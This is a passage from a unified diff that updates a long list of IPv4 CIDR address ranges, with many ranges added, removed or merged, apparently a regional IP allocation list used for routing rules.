-125.254.168.0/21 -125.254.176.0/21 -128.107.24.0/23 +125.254.128.0/17 128.108.0.0/16 129.28.0.0/16 129.204.0.0/16 129.211.0.0/16 -130.36.146.0/23 -131.228.96.0/23 132.232.0.0/16 132.237.134.0/24 -133.226.32.0/20 +134.49.240.0/22 134.175.0.0/16 +137.59.59.0/24 +137.59.88.0/22 138.252.72.0/23 -139.5.60.0/22 -139.9.0.0/18 -139.9.64.0/19 -139.9.96.0/23 -139.9.98.0/24 -139.9.100.0/22 -139.9.104.0/21 -139.9.112.0/20 -139.9.128.0/18 -139.9.192.0/19 -139.9.224.0/20 -139.9.240.0/21 -139.9.248.0/22 +138.252.78.0/23 +138.252.96.0/24 +138.252.118.0/23 +138.252.162.0/23 +139.5.56.0/21 +139.5.80.0/22 +139.5.92.0/22 +139.5.128.0/22 +139.5.160.0/22 +139.5.192.0/22 +139.5.204.0/22 +139.5.212.0/22 +139.5.244.0/22 +139.9.0.0/16 139.129.0.0/16 139.148.0.0/16 139.155.0.0/16 139.159.0.0/19 -139.159.32.0/22 +139.159.32.0/21 +139.159.40.0/22 +139.159.52.0/22 +139.159.56.0/21 +139.159.64.0/19 139.159.96.0/20 139.159.112.0/22 -139.159.132.0/22 -139.159.136.0/21 -139.159.144.0/20 -139.159.160.0/19 -139.159.192.0/18 +139.159.116.0/23 +139.159.120.0/21 +139.159.128.0/17 139.170.0.0/16 +139.176.0.0/16 +139.183.0.0/18 +139.183.64.0/19 +139.183.96.0/22 +139.183.101.0/24 +139.183.102.0/23 +139.183.104.0/21 +139.183.112.0/20 +139.183.128.0/18 +139.183.192.0/20 +139.183.208.0/23 +139.183.211.0/24 +139.183.212.0/22 +139.183.216.0/21 +139.183.224.0/19 139.186.0.0/16 -139.189.0.0/16 -139.196.0.0/16 -139.198.0.0/15 +139.189.0.0/18 +139.189.64.0/19 +139.189.96.0/20 +139.189.112.0/21 +139.189.120.0/22 +139.189.124.0/23 +139.189.126.0/24 +139.189.128.0/17 +139.196.0.0/15 +139.198.0.0/18 +139.198.66.0/23 +139.198.68.0/22 +139.198.72.0/21 +139.198.80.0/20 +139.198.96.0/19 +139.198.128.0/17 +139.199.0.0/16 139.200.0.0/13 139.208.0.0/13 139.217.0.0/16 139.219.0.0/16 -139.220.192.0/22 -139.220.240.0/22 +139.220.0.0/15 139.224.0.0/16 139.226.0.0/15 140.75.0.0/16 @@ -2632,30 +3985,14 @@ 140.179.0.0/16 140.205.0.0/16 140.206.0.0/15 -140.210.0.0/24 -140.210.4.0/22 -140.210.8.0/21 -140.210.16.0/20 -140.210.32.0/22 -140.210.65.0/24 -140.210.67.0/24 -140.210.69.0/24 -140.210.70.0/24 -140.210.72.0/23 -140.210.75.0/24 -140.210.77.0/24 -140.210.78.0/23 -140.210.80.0/24 -140.210.83.0/24 -140.210.84.0/24 -140.210.87.0/24 -140.210.88.0/22 -140.210.92.0/24 -140.210.94.0/24 -140.210.96.0/19 -140.210.128.0/19 -140.210.192.0/19 -140.210.224.0/20 +140.210.0.0/20 +140.210.16.0/21 +140.210.24.0/22 +140.210.28.0/23 +140.210.30.0/24 +140.210.32.0/19 +140.210.64.0/18 +140.210.128.0/17 140.224.0.0/16 140.237.0.0/16 140.240.0.0/16 @@ -2664,18 +4001,28 @@ 140.249.0.0/16 140.250.0.0/16 140.255.0.0/16 +142.86.192.0/18 143.64.0.0/16 144.0.0.0/16 -144.7.0.0/17 +144.7.0.0/16 144.12.0.0/16 -144.36.146.0/23 +144.36.147.0/24 144.48.64.0/22 -144.48.212.0/22 +144.48.88.0/22 +144.48.156.0/22 +144.48.180.0/22 +144.48.184.0/22 +144.48.204.0/22 +144.48.208.0/21 144.52.0.0/16 +144.79.4.0/23 +144.79.10.0/23 +144.79.28.0/23 +144.79.42.0/23 144.79.54.0/23 +144.79.84.0/23 +144.79.148.0/23 144.123.0.0/16 -144.225.109.0/24 -144.225.151.0/24 144.255.0.0/16 145.14.71.0/24 145.14.72.0/22 @@ -2688,31 +4035,57 @@ 146.56.192.0/18 146.196.56.0/22 146.196.68.0/22 +146.196.72.0/22 +146.196.92.0/22 146.196.112.0/21 +146.196.124.0/22 146.222.79.0/24 146.222.81.0/24 146.222.94.0/24 -147.78.132.0/22 +147.78.132.0/24 +147.78.134.0/24 148.70.0.0/16 +149.41.0.0/16 +150.0.0.0/16 +150.115.0.0/16 +150.121.0.0/16 +150.122.0.0/16 150.129.136.0/22 150.129.192.0/22 150.129.252.0/22 150.138.0.0/15 150.158.0.0/16 150.223.0.0/16 +150.242.0.0/21 +150.242.8.0/22 +150.242.28.0/22 +150.242.44.0/22 +150.242.48.0/21 150.242.56.0/22 150.242.76.0/22 150.242.80.0/22 +150.242.92.0/22 150.242.96.0/22 +150.242.112.0/21 +150.242.120.0/22 +150.242.152.0/22 150.242.156.0/23 +150.242.160.0/21 150.242.168.0/22 -150.242.184.0/22 -150.242.232.0/22 -150.242.238.0/23 -150.242.244.0/22 +150.242.184.0/21 +150.242.192.0/22 +150.242.212.0/24 +150.242.215.0/24 +150.242.224.0/22 +150.242.232.0/21 +150.242.240.0/21 150.242.248.0/22 +150.248.0.0/16 150.255.0.0/16 -151.243.189.0/24 +151.158.14.0/23 +151.158.78.0/23 +151.158.80.0/23 +151.158.122.0/23 152.104.128.0/17 152.136.0.0/16 153.0.0.0/16 @@ -2722,139 +4095,236 @@ 153.99.0.0/16 153.101.0.0/16 153.118.0.0/15 -154.8.48.0/20 154.8.128.0/17 -154.72.42.0/24 154.72.44.0/24 154.72.47.0/24 -154.89.32.0/20 -154.197.128.0/17 155.126.176.0/23 156.107.160.0/23 156.107.170.0/24 156.107.179.0/24 156.107.181.0/24 -156.224.128.0/17 -156.227.239.0/24 -156.232.9.0/24 -156.232.10.0/23 157.0.0.0/16 -157.10.35.0/24 +157.10.34.0/23 +157.10.36.0/23 157.10.112.0/23 +157.10.118.0/23 +157.10.130.0/23 +157.10.218.0/23 +157.10.220.0/23 +157.10.246.0/23 +157.15.74.0/23 157.15.94.0/23 +157.15.100.0/22 157.15.104.0/23 157.18.0.0/16 +157.20.136.0/23 +157.20.194.0/23 157.20.246.0/23 157.61.0.0/16 +157.66.42.0/23 +157.66.70.0/23 +157.66.88.0/21 157.66.164.0/23 +157.66.244.0/23 +157.119.8.0/21 +157.119.16.0/22 157.119.28.0/22 +157.119.132.0/22 +157.119.136.0/21 +157.119.144.0/20 +157.119.160.0/21 157.119.172.0/22 +157.119.192.0/21 +157.119.240.0/22 157.119.252.0/22 157.122.0.0/16 157.148.0.0/16 157.156.0.0/16 157.255.0.0/16 -158.26.192.0/24 -158.26.194.0/24 +158.60.0.0/16 +158.79.0.0/16 158.140.252.0/23 158.140.255.0/24 159.27.0.0/16 159.75.0.0/16 159.226.0.0/16 160.19.76.0/23 -160.19.208.0/23 -160.19.210.0/24 -160.20.18.0/23 -160.22.188.0/24 +160.19.82.0/23 +160.19.208.0/21 +160.19.216.0/22 +160.20.16.0/22 +160.20.48.0/22 +160.20.130.0/23 +160.22.58.0/23 +160.22.82.0/23 +160.22.148.0/23 +160.22.188.0/23 +160.22.224.0/23 +160.22.230.0/23 +160.22.244.0/22 +160.25.10.0/23 +160.25.12.0/23 160.25.194.0/23 +160.30.40.0/23 +160.30.194.0/23 +160.30.196.0/22 160.30.230.0/23 160.83.110.0/24 -160.187.128.0/23 -160.191.0.0/24 -160.191.195.0/24 +160.187.223.0/24 +160.187.252.0/22 +160.191.0.0/23 +160.191.104.0/23 +160.191.110.0/23 +160.202.60.0/23 +160.202.62.0/24 +160.202.148.0/22 160.202.152.0/22 160.202.212.0/22 +160.202.216.0/21 160.202.224.0/19 +160.236.78.0/23 +160.236.148.0/23 +160.236.162.0/23 +160.236.235.0/24 +160.236.250.0/23 160.250.14.0/23 +160.250.16.0/22 160.250.84.0/23 +160.250.90.0/23 +160.250.102.0/23 +160.250.104.0/23 +160.250.160.0/23 +160.250.170.0/23 +160.250.214.0/23 +160.250.252.0/23 161.163.0.0/21 161.163.28.0/23 161.189.0.0/16 161.207.0.0/16 -162.14.0.0/16 +161.248.20.0/23 +161.248.42.0/23 +161.248.92.0/23 +161.248.110.0/23 +161.248.112.0/24 +161.248.136.0/24 +162.4.54.0/23 +162.4.168.0/23 +162.4.198.0/23 +162.4.202.0/23 +162.4.230.0/23 +162.14.0.0/19 +162.14.32.0/21 +162.14.43.0/24 +162.14.44.0/22 +162.14.52.0/22 +162.14.56.0/22 +162.14.64.0/18 +162.14.128.0/17 162.105.0.0/16 163.0.0.0/16 163.47.4.0/22 -163.53.44.0/23 -163.53.60.0/22 +163.52.28.0/23 +163.52.76.0/23 +163.52.108.0/23 +163.53.0.0/20 +163.53.36.0/22 +163.53.40.0/21 +163.53.48.0/20 +163.53.64.0/22 163.53.88.0/21 -163.53.128.0/22 -163.53.168.0/22 +163.53.96.0/19 +163.53.128.0/21 +163.53.136.0/22 +163.53.160.0/20 +163.53.188.0/22 +163.53.240.0/22 +163.61.63.0/24 163.61.178.0/23 163.61.202.0/23 163.61.214.0/23 163.125.0.0/16 +163.128.30.0/23 +163.128.152.0/23 +163.128.236.0/23 163.128.254.0/23 163.142.0.0/16 163.177.0.0/16 163.179.0.0/16 163.204.0.0/16 +163.223.28.0/23 +163.223.32.0/23 +163.223.72.0/23 +163.223.124.0/23 +163.223.217.0/24 +163.223.222.0/23 +163.227.34.0/23 163.227.40.0/23 +163.227.74.0/23 +163.227.76.0/22 +163.227.80.0/23 163.228.0.0/16 163.244.246.0/24 +164.52.5.0/24 +164.52.61.0/24 +164.52.66.0/24 +164.52.75.0/24 +164.52.78.0/24 +164.52.85.0/24 +164.52.99.0/24 +165.101.4.0/23 +165.101.66.0/23 165.101.70.0/24 +165.101.144.0/23 +165.101.170.0/23 165.101.208.0/23 -166.0.97.0/24 -166.0.100.0/23 -166.1.139.0/24 -166.1.218.0/24 -166.1.232.0/24 +165.101.244.0/23 166.111.0.0/16 167.139.0.0/16 +167.189.0.0/16 167.220.244.0/22 -168.160.0.0/17 -168.160.152.0/24 -168.160.158.0/23 -168.160.160.0/21 -168.160.168.0/24 +168.160.0.0/16 +170.179.0.0/16 171.8.0.0/13 171.34.0.0/15 171.36.0.0/14 -171.40.0.0/14 -171.44.0.0/16 +171.40.0.0/13 171.80.0.0/12 171.104.0.0/13 171.112.0.0/12 171.208.0.0/12 172.81.192.0/18 -173.39.200.0/23 175.0.0.0/12 175.16.0.0/13 -175.24.0.0/15 -175.27.0.0/16 +175.24.0.0/14 175.30.0.0/15 175.42.0.0/15 175.44.0.0/16 175.46.0.0/15 -175.102.0.0/19 -175.102.128.0/21 -175.102.178.0/23 -175.102.180.0/22 -175.102.184.0/24 -175.102.196.0/24 +175.48.0.0/12 +175.64.0.0/11 +175.102.0.0/16 +175.106.128.0/17 +175.111.144.0/20 +175.111.160.0/20 +175.111.184.0/22 175.146.0.0/15 175.148.0.0/14 175.152.0.0/14 -175.158.112.0/20 +175.158.96.0/22 175.160.0.0/12 +175.176.156.0/22 +175.176.176.0/22 +175.176.188.0/22 175.178.0.0/16 175.184.128.0/18 175.185.0.0/16 175.186.0.0/15 -175.188.188.0/22 -175.190.24.0/21 -175.190.126.0/23 -178.253.252.0/24 +175.188.0.0/14 +177.201.160.0/19 +177.203.96.0/19 +177.203.224.0/19 +178.236.234.0/24 +179.236.0.0/19 180.76.16.0/20 180.76.32.0/19 180.76.64.0/18 @@ -2862,79 +4332,59 @@ 180.77.0.0/16 180.78.0.0/15 180.84.0.0/15 -180.88.96.0/19 -180.88.128.0/18 -180.89.56.0/22 -180.89.60.0/23 -180.89.64.0/19 -180.91.192.0/20 -180.92.176.0/24 +180.86.0.0/16 +180.88.0.0/14 +180.94.56.0/21 +180.94.96.0/20 +180.94.120.0/21 180.95.128.0/17 180.96.0.0/11 180.129.128.0/17 180.130.0.0/16 180.136.0.0/13 +180.148.16.0/21 +180.148.152.0/21 +180.148.216.0/21 +180.148.224.0/19 180.149.128.0/19 -180.150.176.0/20 +180.150.160.0/19 180.152.0.0/13 180.160.0.0/12 -180.178.208.0/20 -180.178.224.0/21 -180.178.232.0/22 -180.178.248.0/21 -180.184.0.0/21 -180.184.8.0/23 -180.184.14.0/24 -180.184.16.0/24 -180.184.24.0/21 -180.184.32.0/19 -180.184.64.0/18 -180.184.128.0/20 -180.184.144.0/21 -180.184.152.0/22 -180.184.160.0/20 -180.184.176.0/21 -180.184.184.0/22 -180.184.190.0/23 -180.184.192.0/18 -180.186.38.0/23 -180.186.40.0/22 -180.186.44.0/24 -180.188.16.0/20 -180.188.32.0/20 +180.178.112.0/21 +180.178.192.0/18 +180.184.0.0/14 +180.188.0.0/17 +180.189.148.0/22 180.200.252.0/22 180.201.0.0/16 -180.203.0.0/23 -180.203.3.0/24 -180.203.4.0/24 +180.202.0.0/15 180.208.0.0/15 180.210.212.0/22 180.212.0.0/15 +180.222.224.0/19 180.233.0.0/18 -180.235.64.0/21 -180.235.72.0/23 -182.18.5.0/24 -182.18.32.0/19 -182.18.72.0/21 -182.18.80.0/20 -182.18.96.0/19 +180.233.64.0/19 +180.233.144.0/22 +180.235.64.0/19 +180.235.112.0/22 +182.16.144.0/21 +182.16.192.0/19 +182.18.0.0/17 +182.23.184.0/21 +182.23.200.0/21 182.32.0.0/12 -182.48.96.0/20 -182.48.112.0/21 +182.48.96.0/19 +182.49.0.0/16 +182.50.0.0/22 +182.50.6.0/24 182.50.8.0/21 182.50.112.0/20 -182.51.114.0/23 -182.51.116.0/23 -182.51.118.0/24 -182.51.122.0/23 -182.51.124.0/24 +182.51.0.0/16 182.54.0.0/17 -182.61.0.0/18 +182.54.244.0/22 +182.61.0.0/17 182.61.128.0/19 -182.61.192.0/22 -182.61.200.0/21 -182.61.208.0/20 -182.61.224.0/19 +182.61.192.0/18 182.80.0.0/13 182.88.0.0/14 182.92.0.0/16 @@ -2942,22 +4392,34 @@ 182.128.0.0/12 182.144.0.0/13 182.157.0.0/16 +182.160.64.0/19 182.174.0.0/15 182.200.0.0/13 +182.236.128.0/17 +182.237.24.0/21 +182.238.0.0/16 +182.239.0.0/19 182.240.0.0/13 182.254.0.0/16 +182.255.60.0/22 183.0.0.0/10 183.64.0.0/13 +183.78.160.0/21 183.78.180.0/22 +183.81.172.0/24 183.81.180.0/22 183.84.0.0/15 183.91.37.0/24 183.91.39.0/24 183.91.40.0/21 -183.91.48.0/21 +183.91.48.0/23 +183.91.50.0/24 +183.91.52.0/22 183.91.56.0/24 183.91.61.0/24 183.91.63.0/24 +183.91.128.0/22 +183.91.136.0/21 183.91.144.0/20 183.92.0.0/14 183.128.0.0/11 @@ -2965,28 +4427,42 @@ 183.168.0.0/15 183.170.0.0/16 183.172.0.0/14 +183.182.0.0/21 +183.182.8.0/23 +183.182.11.0/24 +183.182.12.0/22 +183.182.16.0/23 +183.182.23.0/24 +183.182.24.0/21 183.184.0.0/13 183.192.0.0/10 +185.2.48.0/24 +185.2.51.0/24 185.75.173.0/24 185.75.174.0/24 -185.80.200.0/22 -185.183.84.0/24 -185.194.148.0/24 -185.201.226.0/23 +185.192.56.0/22 188.131.128.0/17 -192.6.161.0/24 -192.6.243.0/24 +192.51.172.0/23 +192.55.46.0/23 +192.55.68.0/22 +192.102.204.0/22 +192.124.154.0/24 +192.140.128.0/21 +192.140.136.0/22 +192.140.156.0/22 192.140.160.0/19 +192.140.192.0/20 192.140.208.0/21 192.144.128.0/17 192.163.11.0/24 +192.232.34.0/23 +192.232.44.0/22 192.232.97.0/24 -193.9.44.0/24 -193.9.46.0/24 193.112.0.0/16 -194.127.229.0/24 +193.119.0.0/19 194.138.202.0/23 194.138.245.0/24 +198.175.100.0/22 198.208.17.0/24 198.208.19.0/24 198.208.30.0/24 @@ -2996,182 +4472,1140 @@ 198.208.112.0/23 199.182.239.0/24 199.244.144.0/24 -202.1.86.0/23 -202.1.90.0/23 -202.1.110.0/23 -202.1.112.0/23 +202.0.100.0/23 +202.0.122.0/23 +202.0.176.0/23 +202.0.178.0/24 +202.3.128.0/23 202.4.128.0/19 202.4.252.0/22 +202.5.208.0/21 +202.5.216.0/22 +202.6.6.0/23 +202.6.66.0/23 +202.6.72.0/23 +202.6.87.0/24 +202.6.88.0/23 +202.6.92.0/23 +202.6.103.0/24 +202.6.108.0/24 +202.6.110.0/23 +202.6.114.0/24 +202.6.176.0/20 202.6.202.0/23 +202.8.0.0/24 +202.8.2.0/23 +202.8.4.0/23 +202.8.12.0/24 +202.8.24.0/24 +202.8.77.0/24 +202.8.128.0/19 +202.8.192.0/20 +202.9.32.0/24 +202.9.34.0/23 +202.9.48.0/23 +202.9.51.0/24 +202.9.52.0/23 +202.9.54.0/24 +202.9.57.0/24 +202.9.58.0/23 +202.10.64.0/20 +202.10.112.0/20 +202.12.1.0/24 +202.12.2.0/24 +202.12.17.0/24 +202.12.18.0/24 +202.12.72.0/24 +202.12.84.0/23 +202.12.96.0/24 +202.12.98.0/23 +202.12.106.0/24 +202.12.111.0/24 +202.12.116.0/24 +202.14.64.0/23 +202.14.69.0/24 +202.14.73.0/24 +202.14.74.0/23 +202.14.76.0/24 +202.14.78.0/23 +202.14.88.0/24 +202.14.97.0/24 +202.14.104.0/23 +202.14.108.0/23 +202.14.111.0/24 +202.14.114.0/23 +202.14.118.0/23 +202.14.124.0/23 +202.14.127.0/24 +202.14.129.0/24 +202.14.135.0/24 +202.14.136.0/24 +202.14.149.0/24 +202.14.151.0/24 +202.14.157.0/24 +202.14.158.0/23 +202.14.169.0/24 +202.14.170.0/23 +202.14.172.0/22 +202.14.176.0/24 +202.14.184.0/23 +202.14.208.0/23 +202.14.213.0/24 +202.14.219.0/24 +202.14.220.0/24 +202.14.222.0/23 +202.14.225.0/24 +202.14.226.0/23 +202.14.231.0/24 202.14.235.0/24 -202.14.236.0/23 -202.14.238.0/24 -202.30.124.0/24 +202.14.236.0/22 +202.14.246.0/24 +202.14.251.0/24 +202.20.66.0/24 +202.20.79.0/24 +202.20.87.0/24 +202.20.88.0/23 +202.20.90.0/24 +202.20.94.0/23 +202.20.114.0/24 +202.20.117.0/24 +202.20.120.0/24 +202.20.125.0/24 +202.20.126.0/23 +202.21.48.0/20 +202.21.131.0/24 +202.21.132.0/24 +202.21.141.0/24 +202.21.142.0/24 +202.21.147.0/24 +202.21.148.0/24 +202.21.150.0/23 +202.21.152.0/23 +202.21.154.0/24 +202.21.156.0/24 +202.22.248.0/21 +202.27.12.0/24 +202.27.14.0/24 +202.27.136.0/23 +202.36.226.0/24 +202.38.0.0/22 202.38.8.0/21 +202.38.48.0/20 202.38.64.0/18 -202.38.128.0/23 -202.38.132.0/23 -202.38.134.0/24 -202.38.140.0/23 -202.38.152.0/23 +202.38.128.0/21 +202.38.136.0/23 +202.38.140.0/22 +202.38.146.0/23 +202.38.149.0/24 +202.38.150.0/23 +202.38.152.0/22 +202.38.156.0/24 +202.38.158.0/23 202.38.164.0/22 +202.38.168.0/23 +202.38.170.0/24 +202.38.176.0/23 202.38.184.0/21 202.38.192.0/18 +202.40.4.0/23 +202.40.7.0/24 +202.40.15.0/24 +202.40.135.0/24 +202.40.136.0/24 +202.40.140.0/24 +202.40.143.0/24 +202.40.144.0/23 +202.40.150.0/24 +202.40.155.0/24 +202.40.156.0/24 +202.40.158.0/23 +202.40.162.0/24 +202.41.8.0/23 +202.41.11.0/24 +202.41.12.0/23 +202.41.128.0/24 +202.41.130.0/23 202.41.152.0/21 +202.41.192.0/24 +202.41.196.0/22 +202.41.200.0/22 202.41.240.0/20 -202.46.224.0/22 -202.46.228.0/23 -202.46.232.0/23 -202.47.104.0/21 -202.51.32.0/20 -202.55.0.0/19 -202.57.192.0/23 -202.57.196.0/22 -202.57.200.0/23 -202.57.202.0/24 -202.57.204.0/23 -202.59.213.0/24 -202.59.214.0/23 +202.43.76.0/22 +202.43.144.0/20 +202.44.16.0/20 +202.44.48.0/22 +202.44.67.0/24 +202.44.74.0/24 +202.44.97.0/24 +202.44.129.0/24 +202.44.132.0/23 +202.44.146.0/23 +202.45.0.0/23 +202.45.2.0/24 +202.45.15.0/24 +202.45.16.0/20 +202.46.16.0/23 +202.46.18.0/24 +202.46.20.0/23 +202.46.35.0/24 +202.46.36.0/23 +202.46.38.0/24 +202.46.40.0/24 +202.46.43.0/24 +202.46.44.0/24 +202.46.46.0/23 +202.46.128.0/24 +202.46.224.0/20 +202.47.82.0/23 +202.47.96.0/20 +202.47.126.0/24 +202.47.128.0/24 +202.47.130.0/23 +202.52.33.0/24 +202.52.34.0/24 +202.52.47.0/24 +202.52.143.0/24 +202.53.140.0/24 +202.53.143.0/24 +202.55.0.0/23 +202.55.4.0/24 +202.55.18.0/23 +202.55.20.0/22 +202.55.24.0/22 +202.55.28.0/23 +202.55.31.0/24 +202.57.192.0/20 +202.57.212.0/22 +202.57.216.0/22 +202.57.240.0/20 +202.58.0.0/24 +202.58.112.0/22 +202.58.122.0/23 +202.59.0.0/23 +202.59.212.0/22 +202.59.236.0/24 +202.59.240.0/24 +202.60.48.0/21 +202.60.96.0/21 202.60.112.0/20 202.60.132.0/22 +202.60.136.0/21 +202.60.144.0/20 +202.61.68.0/22 +202.61.76.0/22 202.61.88.0/22 +202.61.123.0/24 +202.61.127.0/24 202.62.112.0/22 -202.63.160.0/20 -202.65.96.0/24 -202.67.3.0/24 +202.62.248.0/22 +202.62.252.0/24 +202.62.255.0/24 +202.63.80.0/20 +202.63.160.0/19 +202.63.248.0/22 +202.63.253.0/24 +202.65.0.0/21 +202.65.8.0/23 +202.65.96.0/20 +202.66.169.0/24 +202.66.170.0/23 +202.67.0.0/22 202.69.4.0/23 202.69.16.0/20 +202.70.0.0/19 +202.70.96.0/20 +202.70.192.0/20 +202.71.32.0/20 +202.72.40.0/21 +202.72.80.0/20 202.72.112.0/20 202.73.128.0/22 -202.73.208.0/20 202.73.240.0/20 +202.74.8.0/21 +202.74.36.0/24 +202.74.42.0/24 +202.74.52.0/24 +202.74.80.0/20 +202.74.254.0/23 202.75.208.0/20 -202.75.248.0/22 -202.80.192.0/22 +202.75.252.0/22 +202.76.252.0/22 +202.77.80.0/21 +202.77.92.0/22 +202.78.8.0/21 +202.79.224.0/21 +202.79.248.0/22 +202.80.192.0/20 +202.81.0.0/22 202.81.176.0/20 -202.84.17.0/24 +202.83.252.0/22 +202.84.0.0/20 +202.84.16.0/23 +202.84.22.0/24 +202.84.24.0/21 202.85.208.0/20 -202.89.96.0/24 +202.86.249.0/24 +202.86.252.0/22 +202.87.80.0/20 +202.88.32.0/22 +202.89.8.0/21 +202.89.96.0/22 +202.89.108.0/22 +202.89.119.0/24 202.89.232.0/21 -202.90.20.0/22 -202.90.96.0/20 -202.91.176.0/21 -202.91.184.0/23 -202.91.186.0/24 -202.91.190.0/23 -202.91.224.0/20 -202.91.240.0/21 -202.91.248.0/22 +202.90.16.0/20 +202.90.37.0/24 +202.90.96.0/19 +202.90.193.0/24 +202.90.196.0/24 +202.90.205.0/24 +202.90.224.0/20 +202.91.0.0/22 +202.91.96.0/20 +202.91.176.0/20 +202.91.224.0/19 +202.92.8.0/21 +202.92.48.0/20 +202.92.252.0/22 202.93.252.0/22 -202.95.0.0/19 -202.96.0.0/13 -202.104.0.0/14 -202.108.0.0/15 -202.110.0.0/16 -202.111.0.0/17 -202.111.128.0/18 -202.111.192.0/19 -202.111.230.0/24 -202.111.240.0/23 -202.111.242.0/24 -202.111.244.0/22 -202.111.248.0/24 +202.94.74.0/24 +202.94.81.0/24 +202.94.92.0/22 +202.95.0.0/24 +202.95.2.0/23 +202.95.24.0/21 +202.95.240.0/21 +202.96.0.0/12 202.112.0.0/13 202.120.0.0/15 +202.122.0.0/21 202.122.32.0/21 -202.122.112.0/21 -202.123.96.0/24 -202.123.98.0/24 -202.123.106.0/23 -202.123.108.0/24 -202.123.110.0/23 +202.122.64.0/19 +202.122.112.0/20 +202.122.132.0/24 +202.123.96.0/20 +202.123.116.0/22 +202.123.120.0/22 +202.124.16.0/21 +202.124.24.0/22 +202.125.107.0/24 +202.125.109.0/24 +202.125.112.0/20 202.125.176.0/20 202.127.0.0/21 202.127.12.0/22 202.127.16.0/20 202.127.40.0/21 -202.127.48.0/23 -202.127.144.0/20 -202.127.192.0/24 -202.127.200.0/21 +202.127.48.0/20 +202.127.112.0/20 +202.127.128.0/19 +202.127.192.0/20 +202.127.212.0/22 +202.127.216.0/21 202.127.224.0/19 +202.129.208.0/24 202.130.0.0/19 -202.130.224.0/20 -202.130.240.0/21 +202.130.39.0/24 +202.130.224.0/19 +202.131.16.0/21 +202.131.48.0/20 +202.131.208.0/20 +202.133.32.0/20 +202.134.58.0/24 +202.134.128.0/20 +202.134.208.0/20 202.136.48.0/20 202.136.72.0/23 -202.136.208.0/21 -202.136.216.0/23 -202.136.218.0/24 -202.136.220.0/24 -202.136.222.0/23 +202.136.80.0/23 +202.136.208.0/20 +202.136.224.0/20 +202.136.248.0/22 202.136.255.0/24 +202.137.231.0/24 202.140.140.0/22 +202.140.144.0/20 202.141.160.0/19 202.142.16.0/20 -202.143.16.0/23 +202.143.4.0/22 +202.143.16.0/20 +202.143.32.0/20 +202.143.56.0/21 202.143.100.0/22 -202.148.96.0/19 +202.143.104.0/22 +202.144.196.0/23 +202.144.198.0/24 +202.146.160.0/20 +202.146.184.0/23 +202.146.186.0/24 +202.146.188.0/22 +202.146.196.0/22 +202.146.200.0/21 +202.147.144.0/20 +202.148.32.0/20 +202.148.64.0/18 +202.149.32.0/19 +202.149.160.0/19 202.149.224.0/20 +202.149.240.0/21 +202.149.248.0/22 +202.149.252.0/23 +202.149.255.0/24 202.150.16.0/20 +202.150.32.0/20 +202.150.56.0/22 +202.150.192.0/20 +202.150.224.0/19 +202.151.0.0/22 +202.151.33.0/24 +202.151.128.0/19 +202.152.176.0/20 +202.153.0.0/22 +202.153.7.0/24 202.153.48.0/20 +202.157.192.0/19 202.158.160.0/19 -202.160.140.0/22 +202.158.242.0/24 +202.160.140.0/23 +202.160.143.0/24 +202.160.156.0/22 +202.162.67.0/24 +202.162.75.0/24 202.164.0.0/20 +202.164.96.0/19 +202.165.176.0/20 +202.165.208.0/21 +202.165.239.0/24 +202.165.240.0/23 +202.165.243.0/24 +202.165.245.0/24 +202.165.251.0/24 +202.165.252.0/22 +202.166.224.0/19 +202.168.80.0/22 +202.168.128.0/20 202.168.160.0/19 202.170.128.0/19 202.170.216.0/21 -202.173.8.0/22 -202.173.14.0/23 +202.170.224.0/19 +202.171.216.0/21 +202.171.232.0/24 +202.171.235.0/24 +202.172.0.0/22 +202.172.7.0/24 +202.173.0.0/22 +202.173.6.0/24 +202.173.8.0/21 +202.173.112.0/22 202.173.224.0/19 -202.179.240.0/20 -202.181.28.0/24 -202.181.120.0/21 -202.189.3.0/24 -202.189.4.0/22 -202.189.8.0/21 -202.189.16.0/21 +202.174.64.0/20 +202.174.124.0/22 +202.176.224.0/19 +202.179.160.0/20 +202.179.240.0/21 +202.180.128.0/19 +202.180.208.0/21 +202.181.8.0/22 +202.181.28.0/22 +202.181.112.0/20 +202.182.32.0/20 +202.182.192.0/19 +202.189.0.0/18 +202.189.80.0/20 +202.189.184.0/21 +202.191.0.0/24 +202.191.68.0/22 +202.191.72.0/21 +202.191.80.0/20 202.192.0.0/12 +203.0.4.0/22 +203.0.10.0/23 +203.0.18.0/24 +203.0.24.0/24 +203.0.42.0/23 +203.0.45.0/24 +203.0.46.0/23 +203.0.81.0/24 +203.0.82.0/23 +203.0.90.0/23 +203.0.96.0/23 203.0.104.0/21 -203.0.250.0/23 +203.0.114.0/23 +203.0.122.0/24 +203.0.128.0/24 +203.0.130.0/23 +203.0.132.0/22 +203.0.137.0/24 +203.0.142.0/24 +203.0.144.0/24 +203.0.146.0/24 +203.0.148.0/24 +203.0.150.0/23 +203.0.152.0/24 +203.0.177.0/24 +203.0.224.0/24 +203.1.4.0/22 +203.1.18.0/24 +203.1.26.0/23 +203.1.65.0/24 +203.1.66.0/23 +203.1.70.0/23 +203.1.76.0/23 +203.1.90.0/24 +203.1.97.0/24 +203.1.98.0/23 +203.1.100.0/22 +203.1.108.0/24 +203.1.253.0/24 +203.1.254.0/24 203.2.64.0/21 +203.2.73.0/24 203.2.112.0/21 +203.2.126.0/23 +203.2.140.0/24 +203.2.150.0/24 +203.2.152.0/22 +203.2.156.0/23 203.2.160.0/21 +203.2.180.0/23 +203.2.196.0/23 +203.2.209.0/24 +203.2.214.0/23 +203.2.226.0/23 +203.2.229.0/24 +203.2.236.0/23 +203.3.68.0/24 +203.3.72.0/23 +203.3.75.0/24 203.3.80.0/21 +203.3.96.0/22 +203.3.105.0/24 203.3.112.0/21 +203.3.120.0/24 +203.3.123.0/24 +203.3.135.0/24 +203.3.139.0/24 +203.3.143.0/24 +203.4.132.0/23 +203.4.134.0/24 +203.4.151.0/24 +203.4.152.0/22 +203.4.174.0/23 +203.4.180.0/24 +203.4.186.0/24 +203.4.205.0/24 +203.4.208.0/22 +203.4.227.0/24 +203.4.230.0/23 +203.5.4.0/23 +203.5.7.0/24 +203.5.8.0/23 +203.5.11.0/24 +203.5.21.0/24 +203.5.22.0/24 +203.5.44.0/24 +203.5.46.0/23 +203.5.52.0/22 +203.5.56.0/23 +203.5.60.0/23 +203.5.114.0/23 +203.5.118.0/24 +203.5.120.0/24 +203.5.172.0/24 +203.5.180.0/23 +203.5.182.0/24 +203.5.185.0/24 +203.5.186.0/24 +203.5.188.0/23 +203.5.190.0/24 +203.5.195.0/24 +203.5.214.0/23 +203.5.218.0/23 +203.6.131.0/24 +203.6.136.0/24 +203.6.138.0/23 +203.6.142.0/24 +203.6.150.0/23 +203.6.157.0/24 +203.6.159.0/24 203.6.224.0/20 +203.6.248.0/23 